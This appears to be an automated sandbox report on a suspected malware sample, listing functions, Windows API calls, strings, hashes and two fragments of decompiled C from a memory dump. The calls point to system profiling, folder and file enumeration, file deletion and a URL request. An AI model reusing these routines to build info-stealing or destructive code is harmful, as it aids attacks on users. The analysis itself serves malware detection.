API String ID: 2194112602-1234763034
Opcode ID: e9d8f00487e522992aaaed3d2169ef1b2b551e54072380db451c7127056c5058
Instruction ID: 42def6427b15f3caff6bdb4939330b9aad82571cf426220ab3f3ae443d8c232f
Opcode Fuzzy Hash: e9d8f00487e522992aaaed3d2169ef1b2b551e54072380db451c7127056c5058
Instruction Fuzzy Hash: F841B131600110AFDB099F66EE45B6E7BB9FF85324F104868F915E72A0DF749911CF19

Uniqueness

Uniqueness Score: -1.00%

Function 00408495 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 134stringnetworkCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(00000000), ref: 00408523
InternetOpenUrlW.WININET(0000002F,?,00408819,00000000), ref: 00408574
LocalFree.KERNEL32(00000000), ref: 004085F9
CloseHandle.KERNEL32(00000000), ref: 00408607
LocalFree.KERNEL32(00000000), ref: 0040860E

Strings

y@, xrefs: 00408495
qwrqrwrqwrqwr, xrefs: 00408534
pXqt, xrefs: 004085F9, 0040860E

Memory Dump Source

Source File: 00000012.00000002.399898990.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.400970975.0000000000410000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_kukurzka9000.jbxd

Yara matches

Similarity

API ID: FreeLocal$CloseHandleInternetOpenlstrlen
String ID: pXqt$qwrqrwrqwrqwr$y@
API String ID: 1588835542-3108616693
Opcode ID: 2efbc42d44f6ec5ca4160c273d464a785a5d876e109b975a63a0bab6d59c1f12
Instruction ID: 1aaf66e6ff826a0af1a1f58395baf02585259993efb391a5facff1777f096ed2
Opcode Fuzzy Hash: 2efbc42d44f6ec5ca4160c273d464a785a5d876e109b975a63a0bab6d59c1f12
Instruction Fuzzy Hash: 4241BE70900115BEEB149BA5CE49EBAB3B8EB44300F00853AE551B72D1EBB4AE54DB68

Uniqueness

Uniqueness Score: -1.00%

Function 02548843 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 131COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,?,02548FE8,00000000,00000000,00000000,00000000,00000000), ref: 02548939

Part of subcall function 02549A36: MultiByteToWideChar.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000000,00000000,?,?,00000000,00000000), ref: 02549A65

wsprintfW.USER32 ref: 02548957

Part of subcall function 02549A77: GlobalFree.KERNEL32(02541F22), ref: 02549AC4

LocalFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,02548FE8,00000000), ref: 0254896F
LocalFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,02548FE8,00000000), ref: 02548976
LocalFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,02548FE8,00000000,00000000,00000000,00000000,00000000), ref: 02548985
LocalFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,02548FE8,00000000,00000000,00000000,00000000,00000000), ref: 0254898F

Strings

@iqt, xrefs: 02548896, 025488D3, 02548913
pXqt, xrefs: 0254896F, 02548976, 02548985, 0254898F

Memory Dump Source

Source File: 00000012.00000002.403457395.0000000002540000.00000040.00001000.00020000.00000000.sdmp, Offset: 02540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_2540000_kukurzka9000.jbxd

Yara matches

Similarity

API ID: Free$Local$ByteCharGlobalInfoMultiSystemWidewsprintf
String ID: @iqt$pXqt
API String ID: 2924325140-1896780723
Opcode ID: a6de5e848d937083b49f0169d3b41f08eb3f60cdac5fbd5286eae1f109443dba
Instruction ID: c5ecf355b032ff61e17d3d4fc9926b2901d8428beffd99b33428b02b1d17660b
Opcode Fuzzy Hash: a6de5e848d937083b49f0169d3b41f08eb3f60cdac5fbd5286eae1f109443dba
Instruction Fuzzy Hash: 424191B1A002159FDB04CF69DDC496ABBF8FF48324B048579EE09EB351DA309D04CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 004090DC Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 68registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.ADVAPI32(00000000,00000000,00000000,00000000,00000104,?,?,?,00409A62,00000000), ref: 0040913F
RegCloseKey.ADVAPI32(00000000,?,?,?,00409A62,00000000), ref: 00409148
LocalFree.KERNEL32(00000000,?,?,?,00409A62,00000000), ref: 0040915B
wsprintfW.USER32 ref: 0040916D

Part of subcall function 0040A503: lstrlenW.KERNEL32(?,00000000,?,00000000,00000000,?,00408633), ref: 0040A516
Part of subcall function 0040A503: lstrlenW.KERNEL32(?,?,00000000,?,00000000,00000000,?,00408633), ref: 0040A51D
Part of subcall function 0040A503: GlobalFree.KERNEL32(?), ref: 0040A550

LocalFree.KERNEL32(00000000,00000000), ref: 00409185
LocalFree.KERNEL32(00000000), ref: 0040918C

Strings

pXqt, xrefs: 0040915B, 00409185, 0040918C

Memory Dump Source

Source File: 00000012.00000002.399898990.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.400970975.0000000000410000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_kukurzka9000.jbxd

Yara matches

Similarity

API ID: Free$Local$lstrlen$CloseGlobalQueryValuewsprintf
String ID: pXqt
API String ID: 3289414791-1234763034
Opcode ID: 5e8d92e3f70d5fe38f1763d2356ae79cd52bc82e3d2d85c46ec5827371f6db32
Instruction ID: e9f177af51a582558b006cd38ce564a6bd3d86c6e4fd3138e243791f8522013c
Opcode Fuzzy Hash: 5e8d92e3f70d5fe38f1763d2356ae79cd52bc82e3d2d85c46ec5827371f6db32
Instruction Fuzzy Hash: 8E119372600110BBE7049BA7ED49E5BBFBCEB49350B104839F609F61A1D6B45D20CB79

Uniqueness

Uniqueness Score: -1.00%

Function 02548650 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 68registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.ADVAPI32(00000000,00000000,00000000,00000000,00000104,?,?,?,02548FD6,00000000), ref: 025486B3
RegCloseKey.ADVAPI32(00000000,?,?,?,02548FD6,00000000), ref: 025486BC
LocalFree.KERNEL32(00000000,?,?,?,02548FD6,00000000), ref: 025486CF
wsprintfW.USER32 ref: 025486E1

Part of subcall function 02549A77: GlobalFree.KERNEL32(02541F22), ref: 02549AC4

LocalFree.KERNEL32(00000000,00000000), ref: 025486F9
LocalFree.KERNEL32(00000000), ref: 02548700

Strings

pXqt, xrefs: 025486CF, 025486F9, 02548700

Memory Dump Source

Source File: 00000012.00000002.403457395.0000000002540000.00000040.00001000.00020000.00000000.sdmp, Offset: 02540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_2540000_kukurzka9000.jbxd

Yara matches

Similarity

API ID: Free$Local$CloseGlobalQueryValuewsprintf
String ID: pXqt
API String ID: 923078377-1234763034
Opcode ID: 1195a9609c4ac859f50556a4f5fb5b67e16fe42b1b7cf2e21ecfb1ab86fba5f5
Instruction ID: 25b97580d1658bcd29fdf40439aa1d2e4324bb2ca0f41dd5929bd652bd5754cc
Opcode Fuzzy Hash: 1195a9609c4ac859f50556a4f5fb5b67e16fe42b1b7cf2e21ecfb1ab86fba5f5
Instruction Fuzzy Hash: F2118471100120BBE7049BA6ED49E5BBFBCEB49354F004834F605E2161DBB05920CB78

Uniqueness

Uniqueness Score: -1.00%

Function 0254555F Relevance: 12.3, APIs: 7, Strings: 1, Instructions: 274COMMON

Download Yara Rule

APIs

LocalFree.KERNEL32(00000000,?,?,?,?,?,?,?,02544E4B,?,?,?,00000000,00000000,00000000,00000000), ref: 02545795

Part of subcall function 02549A77: GlobalFree.KERNEL32(02541F22), ref: 02549AC4

LocalFree.KERNEL32(?,?,?,?,?,?,?,?,02544E4B,?,?,?,00000000,00000000,00000000,00000000), ref: 0254579F
LocalFree.KERNEL32(00000000,?,?,?,?,02544E4B,?,?,?,00000000,00000000,00000000,00000000,00000000), ref: 025457E4
LocalFree.KERNEL32(?,?,?,?,?,02544E4B,?,?,?,00000000,00000000,00000000,00000000,00000000), ref: 0254583B
LocalFree.KERNEL32(00000000,?,?,?,?,02544E4B,?,?,?,00000000,00000000,00000000,00000000,00000000), ref: 02545842
LocalFree.KERNEL32(00000000,?,?,?,?,02544E4B,?,?,?,00000000,00000000,00000000,00000000,00000000), ref: 02545899
LocalFree.KERNEL32(?,?,?,?,?,02544E4B,?,?,?,00000000,00000000,00000000,00000000,00000000), ref: 025458A3

Strings

pXqt, xrefs: 02545795, 0254579F, 025457E4, 0254583B, 02545842, 02545899, 025458A3

Memory Dump Source

Source File: 00000012.00000002.403457395.0000000002540000.00000040.00001000.00020000.00000000.sdmp, Offset: 02540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_2540000_kukurzka9000.jbxd

Yara matches

Similarity

API ID: Free$Local$Global
String ID: pXqt
API String ID: 67877634-1234763034
Opcode ID: 154df15a1167a433e68271407e97ec1704788d52295b520c09530d825bd9e518
Instruction ID: cb9723d824dae0f363f3bf82f2ab233dcb4f9320f575d97051bb02718d5f269e
Opcode Fuzzy Hash: 154df15a1167a433e68271407e97ec1704788d52295b520c09530d825bd9e518
Instruction Fuzzy Hash: 4EA18C72504301AFDB14DF65CD80D6BBBB5FF88314F404928FA59A7260EB71D820CBAA

Uniqueness

Uniqueness Score: -1.00%

Function 0040ABD8 Relevance: 10.7, APIs: 6, Strings: 1, Instructions: 190
COMMON

Download Yara Rule

C-Code - Quality: 21%

			E0040ABD8(intOrPtr __ecx, intOrPtr __edx) {
				intOrPtr _v20;
				intOrPtr _v24;
				short _v32;
				short _v36;
				short _v38;
				char _v40;
				short _v44;
				intOrPtr _v48;
				void* _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				void* _v68;
				intOrPtr _v76;
				char _v80;
				intOrPtr _v84;
				intOrPtr _v88;
				void* _v116;
				void* _v120;
				short* _v144;
				WCHAR* _v148;
				char _v160;
				intOrPtr _v164;
				void* _t44;
				intOrPtr _t47;
				signed int _t49;
				void* _t51;
				void* _t52;
				intOrPtr _t53;
				void* _t54;
				char _t55;
				intOrPtr _t57;
				intOrPtr* _t69;
				void* _t74;
				void* _t77;
				void* _t78;
				intOrPtr _t87;
				intOrPtr _t94;
				void* _t98;
				intOrPtr _t102;
				void* _t105;
				intOrPtr _t107;
				void* _t110;
				intOrPtr* _t111;
				void* _t112;
				signed int _t115;
				void* _t118;
				signed int _t119;
				signed int _t120;
				void* _t123;

				_v44 = 0;
				_v24 = __edx;
				_v20 = __ecx;
				_t78 =  *((intOrPtr*)( *0x40e044))(0x40, 0x1000, _t105, _t112, _t77);
				_t44 = E0040AE06(0, _t78,  &_v52, __ecx, 0, 0, __edx, 0);
				_t123 = (_t120 & 0xfffffff8) - 0x2c + 0x14;
				if(_t44 >= 0) {
					_t107 =  *((intOrPtr*)( *0x40e044))(0x40, 0x410);
					_v48 = _t107;
					_t47 =  *((intOrPtr*)( *0x40e144))(0x208, _t107);
					_v64 = _t47;
					if(_t47 == 0) {
						L10:
						if(_v68 > 0) {
							_t51 =  *((intOrPtr*)( *0x40e044))(0x40, 0x208);
							_t52 =  *((intOrPtr*)( *0x40e044))(0x40, 0x208);
							_t98 = 0x10;
							_t53 = E0040A05F(_t51, _t98);
							_v60 = _t53;
							_t54 =  *((intOrPtr*)( *0x40e13c))(_t52,  *0x40e210);
							_t110 = _v68;
							_t55 = E0040A503(_t54, _t110);
							_t87 =  *0x40e204; // 0x837988
							_v80 = _t55;
							_v88 = _t87;
							_v84 = 0;
							_t57 = E00408619( &_v80);
							_v76 = _t57;
							_t118 =  *((intOrPtr*)( *0x40e044))(0x40, 0x184);
							 *((intOrPtr*)( *0x40e0e4))(0xfde9, 0, _t110, 0xffffffff, 0, 0, 0, 0);
							if(0 != 0) {
								 *((intOrPtr*)( *0x40e0e4))(0xfde9, 0, _t110, 0xffffffff, _t118, 0, 0, 0);
								if(0 != 0) {
									E00407EDB(_v144, _t118, 0, 0, _v164, _t78, _v148,  &_v160);
								}
							}
							LocalFree(_t118);
							LocalFree(_v116);
							LocalFree(_v120);
							LocalFree(_t110);
						}
						_t115 = 1;
						L16:
						LocalFree(_t78);
						_t49 = _t115;
						L17:
						return _t49;
					}
					_t119 = 0;
					if(_t47 == 0) {
						goto L10;
					}
					_t94 = _v56;
					_t111 = _t107 + 0xfffffffc;
					_t102 = _v64;
					_t69 = _t94 - 6;
					_v52 = _t69;
					do {
						if(_t119 <= 0) {
							goto L9;
						}
						_t102 = _v64;
						if( *((intOrPtr*)(_t94 + _t119 * 2)) != 0) {
							goto L9;
						}
						_v40 =  *_t69;
						_v38 =  *_t111;
						_v36 = 0;
						_v32 = 0;
						_t74 = E0040AE06( &_v40, _t78,  &_v68, _v44,  &_v40, _t73, _v48, 0);
						_t123 = _t123 + 0x14;
						if(_t74 < 0) {
							_t115 = _t119 | 0xffffffff;
							goto L16;
						}
						_t119 = _t119 + 1;
						_t94 = _v56;
						_t69 = _v52 + 2;
						_t102 = _v64;
						_t111 = _t111 + 2;
						L9:
						_t119 = _t119 + 3;
						_t69 = _t69 + 6;
						_t111 = _t111 + 6;
						_v52 = _t69;
					} while (_t119 < _t102);
					goto L10;
				}
				_t49 = LocalFree(_t78) | 0xffffffff;
				goto L17;
			}

APIs

LocalFree.KERNEL32(00000000), ref: 0040AC20

Strings

pXqt, xrefs: 0040AC20, 0040ADCD, 0040ADD7, 0040ADE1, 0040ADE8, 0040ADF2

Memory Dump Source

Source File: 00000012.00000002.399898990.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.400970975.0000000000410000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_kukurzka9000.jbxd

Yara matches

Similarity

API ID: FreeLocal
String ID: pXqt
API String ID: 2826327444-1234763034
Opcode ID: cb3fde234ea3763666557004fa5848a319dd513b55e0471afea34829c7d77506
Instruction ID: 0df1316ab9a5c1427916cb56fbbb1f674cf856c690d2ecf6bb3ed985b7a3ed22
Opcode Fuzzy Hash: cb3fde234ea3763666557004fa5848a319dd513b55e0471afea34829c7d77506
Instruction Fuzzy Hash: AF517EB1604311AFE304DB26DD44A2B76E9EBC8714F004A2EF959E72D0DA749D118BAB

Uniqueness

Uniqueness Score: -1.00%

Function 0254A14C Relevance: 10.7, APIs: 6, Strings: 1, Instructions: 190COMMON

Download Yara Rule

APIs

LocalFree.KERNEL32(00000000), ref: 0254A194

Strings

pXqt, xrefs: 0254A194, 0254A341, 0254A34B, 0254A355, 0254A35C, 0254A366

Memory Dump Source

Source File: 00000012.00000002.403457395.0000000002540000.00000040.00001000.00020000.00000000.sdmp, Offset: 02540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_2540000_kukurzka9000.jbxd

Yara matches

Similarity

API ID: FreeLocal
String ID: pXqt
API String ID: 2826327444-1234763034
Opcode ID: e2b69555ed1fe6fda59851be0d3c6c885782778e094666e903444fae68ab0d1e
Instruction ID: 32af2480313a0a680007e89a76fbb31058bb87ff07612b1b630c7cb4e2ec5d82
Opcode Fuzzy Hash: e2b69555ed1fe6fda59851be0d3c6c885782778e094666e903444fae68ab0d1e
Instruction Fuzzy Hash: E1518EB1604311AFD344DF25DD54A3BB6E9FBC8718F004A29F969E7290EB70DD108B6A

Uniqueness

Uniqueness Score: -1.00%

Function 02547A09 Relevance: 10.6, APIs: 4, Strings: 3, Instructions: 134stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(00000000), ref: 02547A97
LocalFree.KERNEL32(00000000), ref: 02547B6D
CloseHandle.KERNEL32(00000000), ref: 02547B7B
LocalFree.KERNEL32(00000000), ref: 02547B82

Strings

s, xrefs: 02547ABA
/, xrefs: 02547A6D
pXqt, xrefs: 02547B6D, 02547B82

Memory Dump Source

Source File: 00000012.00000002.403457395.0000000002540000.00000040.00001000.00020000.00000000.sdmp, Offset: 02540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_2540000_kukurzka9000.jbxd

Yara matches

Similarity

API ID: FreeLocal$CloseHandlelstrlen
String ID: /$pXqt$s
API String ID: 3009051031-3310943618
Opcode ID: 2efbc42d44f6ec5ca4160c273d464a785a5d876e109b975a63a0bab6d59c1f12
Instruction ID: 4311e724f9a698c52434b80992dc1ca4aa3371da84b76c700b6e1e805465dd7d
Opcode Fuzzy Hash: 2efbc42d44f6ec5ca4160c273d464a785a5d876e109b975a63a0bab6d59c1f12
Instruction Fuzzy Hash: E541BC70900115BEEB159BA5CD45FBAFBB8FB48308F008569F641A7190FBB0AA54CB6D

Uniqueness

Uniqueness Score: -1.00%

Function 0040A0BE Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 69COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000008,?,?,iqroq5112542785672901323), ref: 0040A0D6
OpenProcessToken.ADVAPI32(00000000,?,iqroq5112542785672901323), ref: 0040A0DD
GetLastError.KERNEL32(?,iqroq5112542785672901323), ref: 0040A102
GlobalFree.KERNEL32(00000000), ref: 0040A15F

Strings

iqroq5112542785672901323, xrefs: 0040A0CB
iqt, xrefs: 0040A14B

Memory Dump Source

Source File: 00000012.00000002.399898990.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.400970975.0000000000410000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_kukurzka9000.jbxd

Yara matches

Similarity

API ID: Process$CurrentErrorFreeGlobalLastOpenToken
String ID: iqt$iqroq5112542785672901323
API String ID: 88979007-677281986
Opcode ID: 4d261efb80a07d971c1b4c2ed8a49a1184e64f21143a526caa496802c9409c4c
Instruction ID: 15eb1b3bc6c873a00f883c6e6f8e066a9c9a871e93fd9db043f72c5c5a2fc382
Opcode Fuzzy Hash: 4d261efb80a07d971c1b4c2ed8a49a1184e64f21143a526caa496802c9409c4c
Instruction Fuzzy Hash: 51118135900215FBDB119BE6DE44EAFBBB8EB48750F040475E900F61A0DB74DE24DB66

Uniqueness

Uniqueness Score: -1.00%

Function 00403F9D Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 59
COMMON

Download Yara Rule

C-Code - Quality: 37%

			E00403F9D(void* __ecx, intOrPtr __edx, char _a4, char _a8) {
				void* _t7;
				void* _t16;
				void* _t17;
				void* _t26;
				void* _t28;
				void* _t30;

				_t17 =  *((intOrPtr*)( *0x40e044))(0x40, 0x228, _t26, _t30, _t16, __ecx);
				_t7 =  *((intOrPtr*)( *0x40e044))(0x40, 0x228);
				_t28 = _t7;
				 *0x40e0c4(0, _t17, 0x1c, 0);
				 *0x40e0c4(0, _t28, 0x1a, 0);
				_t1 =  &_a8; // 0x407b38
				E00401B05(_t17,  *_t1, __edx, _a4, 0);
				_t3 =  &_a8; // 0x407b38
				E0040196E(_t28,  *_t3, __edx, _a4, 0);
				if(_t17 != 0) {
					LocalFree(_t17);
				}
				if(_t28 != 0) {
					LocalFree(_t28);
				}
				return 1;
			}

0x00403fbe
0x00403fc3
0x00403fcc
0x00403fce
0x00403fdb
0x00403fe1
0x00403fec
0x00403ff1
0x00403fff
0x00404009
0x0040400c
0x0040400c
0x00404014
0x00404017
0x00404017
0x00404026

APIs

SHGetSpecialFolderPathW.SHELL32(00000000,00000000,0000001C,00000000,?,?,00407B38,00000000,00000000), ref: 00403FCE
SHGetSpecialFolderPathW.SHELL32(00000000,00000000,0000001A,00000000,?,?,00407B38,00000000,00000000), ref: 00403FDB
LocalFree.KERNEL32(00000000,?,?,?,00407B38,00000000,00000000), ref: 0040400C
LocalFree.KERNEL32(00000000,?,?,?,00407B38,00000000,00000000), ref: 00404017

Strings

pXqt, xrefs: 0040400C, 00404017
8{@, xrefs: 00403FE1, 00403FF1

Memory Dump Source

Source File: 00000012.00000002.399898990.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.400970975.0000000000410000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_kukurzka9000.jbxd

Yara matches

Similarity

API ID: FolderFreeLocalPathSpecial
String ID: 8{@$pXqt
API String ID: 1111715986-2392896222
Opcode ID: faabf291c3588ec38a8ee4fb6b6ae69e583b51ce6e94b49b7ce2d95358603802
Instruction ID: 72fdba0f78f482ba83b50744195af73f567e22cf42767fcd2574695d6fb78c79
Opcode Fuzzy Hash: faabf291c3588ec38a8ee4fb6b6ae69e583b51ce6e94b49b7ce2d95358603802
Instruction Fuzzy Hash: 600128713402047BF7205F929D4AF6B3768DBC5B11F044138FB18BB2D1DAB49C1086AD

Uniqueness

Uniqueness Score: -1.00%

Function 00403760 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 200fileCOMMON

Download Yara Rule

APIs

LocalFree.KERNEL32(?,?,?,?,00000000), ref: 004039CB

Part of subcall function 0040A69E: LocalFree.KERNEL32(00000000,?,?,0040B2D2), ref: 0040A701

DeleteFileW.KERNEL32(?), ref: 004039AA
DeleteFileW.KERNEL32(?,?,?,?,00000000), ref: 004039BA
LocalFree.KERNEL32(?,?,?,?,00000000), ref: 004039C1

Strings

pXqt, xrefs: 004039C1, 004039CB

Memory Dump Source

Source File: 00000012.00000002.399898990.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.400970975.0000000000410000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_kukurzka9000.jbxd

Yara matches

Similarity

API ID: FreeLocal$DeleteFile
String ID: pXqt
API String ID: 2194112602-1234763034
Opcode ID: 0273935b1b11092318b069b65173c2f6a9546147bbdeeea3bf04ef57adf8446e
Instruction ID: 855b80ec5d303092bec4e067a8265e7fa441cfeb4fa3f9afbe0cd358cb9c57d7
Opcode Fuzzy Hash: 0273935b1b11092318b069b65173c2f6a9546147bbdeeea3bf04ef57adf8446e
Instruction Fuzzy Hash: EF718D71500210EFDB059FA6EE84A5E3BB9FB48310B104979F925F72E0DB74DA208B5A

Uniqueness

Uniqueness Score: -1.00%

Function 02542CD4 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 200fileCOMMON

Download Yara Rule

APIs

LocalFree.KERNEL32(?,?,?,?,00000000), ref: 02542F3F

Part of subcall function 02549C12: LocalFree.KERNEL32(00000000,?,?,02541F22), ref: 02549C75

DeleteFileW.KERNEL32(?), ref: 02542F1E
DeleteFileW.KERNEL32(?,?,?,?,00000000), ref: 02542F2E
LocalFree.KERNEL32(?,?,?,?,00000000), ref: 02542F35

Strings

pXqt, xrefs: 02542F35, 02542F3F

Memory Dump Source

Source File: 00000012.00000002.403457395.0000000002540000.00000040.00001000.00020000.00000000.sdmp, Offset: 02540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_2540000_kukurzka9000.jbxd

Yara matches

Similarity

API ID: FreeLocal$DeleteFile
String ID: pXqt
API String ID: 2194112602-1234763034
Opcode ID: aa236570a63e942e95a62eeae442c9e13dcf8293740132a561ba828fd4245b9e
Instruction ID: cc5c12c3de78065b47f0b790ca4111e79e99c8b3a2415f8ef7c8c2ecbcf5e603
Opcode Fuzzy Hash: aa236570a63e942e95a62eeae442c9e13dcf8293740132a561ba828fd4245b9e
Instruction Fuzzy Hash: D5718C31500220EFDB059FA6EE85A6DBBB5FB48314B104A75F925E72A0DB30DA20CF5D

Uniqueness

Uniqueness Score: -1.00%

Function 02540EE2 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 130COMMON

Download Yara Rule

APIs

PathCombineW.SHLWAPI(00000000,?,?), ref: 02540F84
LocalFree.KERNEL32(00000000), ref: 02540FA4
FindClose.KERNEL32(00000000), ref: 02540FC2
PathCombineW.SHLWAPI(00000000,?,?), ref: 02541018

Strings

pXqt, xrefs: 02540FA4

Memory Dump Source

Source File: 00000012.00000002.403457395.0000000002540000.00000040.00001000.00020000.00000000.sdmp, Offset: 02540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_2540000_kukurzka9000.jbxd

Yara matches

Similarity

API ID: CombinePath$CloseFindFreeLocal
String ID: pXqt
API String ID: 2199340046-1234763034
Opcode ID: 71846108eca0c7d647193b22d8ce5dd4fdf7bc5ca958116010044f5b0674090b
Instruction ID: 0bbc3b39b872c128e5f2a48054bbe2af53fc244584aae7d854f17434b717f950
Opcode Fuzzy Hash: 71846108eca0c7d647193b22d8ce5dd4fdf7bc5ca958116010044f5b0674090b
Instruction Fuzzy Hash: FC412671510225BBCB289B51CD84FEAB778FB84308F0049A8FA05A7190EF74DA55CF68

Uniqueness

Uniqueness Score: -1.00%

Function 02541079 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 124COMMON

Download Yara Rule

APIs

PathCombineW.SHLWAPI(00000000,?,?), ref: 0254111D
LocalFree.KERNEL32(00000000), ref: 02541181
FindClose.KERNEL32(00000000), ref: 025411EE

Strings

pXqt, xrefs: 02541181

Memory Dump Source

Source File: 00000012.00000002.403457395.0000000002540000.00000040.00001000.00020000.00000000.sdmp, Offset: 02540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_2540000_kukurzka9000.jbxd

Yara matches

Similarity

API ID: CloseCombineFindFreeLocalPath
String ID: pXqt
API String ID: 2857355001-1234763034
Opcode ID: bc6433c40a8b9f75e8f33f0345bf4f0871bf308c0c9983f9c55045f8c74c41ce
Instruction ID: 195239426d1e6d241f3329a2999b8c4cb4d5f2efb46c1057dc578ba1295f3c18
Opcode Fuzzy Hash: bc6433c40a8b9f75e8f33f0345bf4f0871bf308c0c9983f9c55045f8c74c41ce
Instruction Fuzzy Hash: C5414771500228AFDB24DB51DD84FEAB778FB85308F008864FA09A3190EF709E95CF68

Uniqueness

Uniqueness Score: -1.00%

Function 02549632 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 69COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000008,?,?,iqroq5112542785672901323), ref: 0254964A
GetLastError.KERNEL32(?,iqroq5112542785672901323), ref: 02549676
GlobalFree.KERNEL32(00000000), ref: 025496D3

Strings

iqt, xrefs: 025496BF
iqroq5112542785672901323, xrefs: 0254963F

Memory Dump Source

Source File: 00000012.00000002.403457395.0000000002540000.00000040.00001000.00020000.00000000.sdmp, Offset: 02540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_2540000_kukurzka9000.jbxd

Yara matches

Similarity

API ID: CurrentErrorFreeGlobalLastProcess
String ID: iqt$iqroq5112542785672901323
API String ID: 775681509-677281986
Opcode ID: 4d261efb80a07d971c1b4c2ed8a49a1184e64f21143a526caa496802c9409c4c
Instruction ID: b926196e48d97ad442d7a17bddc0e3a1061df90590d59c5d6953cdb6f311f330
Opcode Fuzzy Hash: 4d261efb80a07d971c1b4c2ed8a49a1184e64f21143a526caa496802c9409c4c
Instruction Fuzzy Hash: 70117F35900125BBEB11DBE6DE45EAFBFB9FB88254F000464E910E2160DF70DA24DB69

Uniqueness

Uniqueness Score: -1.00%

Function 02543511 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 59COMMON

Download Yara Rule

APIs

SHGetSpecialFolderPathW.SHELL32(00000000,00000000,0000001C,00000000), ref: 02543542
SHGetSpecialFolderPathW.SHELL32(00000000,00000000,0000001A,00000000), ref: 0254354F
LocalFree.KERNEL32(00000000), ref: 02543580
LocalFree.KERNEL32(00000000), ref: 0254358B

Strings

pXqt, xrefs: 02543580, 0254358B

Memory Dump Source

Source File: 00000012.00000002.403457395.0000000002540000.00000040.00001000.00020000.00000000.sdmp, Offset: 02540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_2540000_kukurzka9000.jbxd

Yara matches

Similarity

API ID: FolderFreeLocalPathSpecial
String ID: pXqt
API String ID: 1111715986-1234763034
Opcode ID: 88e42fc18ceae2b43f943ef1e8e127dc7ffeae556461e89db75f0c87543971c0
Instruction ID: 0e98f02f28eb91a5a2eed4d594bff6881d55d213bb5b4310cecebee4096a651f
Opcode Fuzzy Hash: 88e42fc18ceae2b43f943ef1e8e127dc7ffeae556461e89db75f0c87543971c0
Instruction Fuzzy Hash: C4012D713402147BF7145F929D4AFAB3759EBC5B10F144124FB1C6B2D1DEB09D2086AD

Uniqueness

Uniqueness Score: -1.00%

Function 025485D8 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

GetUserDefaultLCID.KERNEL32(00001001,00000000,00000104,?,02548FC4,00000000), ref: 02548610
wsprintfW.USER32 ref: 02548621

Part of subcall function 02549A77: GlobalFree.KERNEL32(02541F22), ref: 02549AC4

LocalFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,02547092), ref: 02548639
LocalFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,02547092), ref: 02548640

Strings

pXqt, xrefs: 02548639, 02548640

Memory Dump Source

Source File: 00000012.00000002.403457395.0000000002540000.00000040.00001000.00020000.00000000.sdmp, Offset: 02540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_2540000_kukurzka9000.jbxd

Yara matches

Similarity

API ID: Free$Local$DefaultGlobalUserwsprintf
String ID: pXqt
API String ID: 3020363445-1234763034
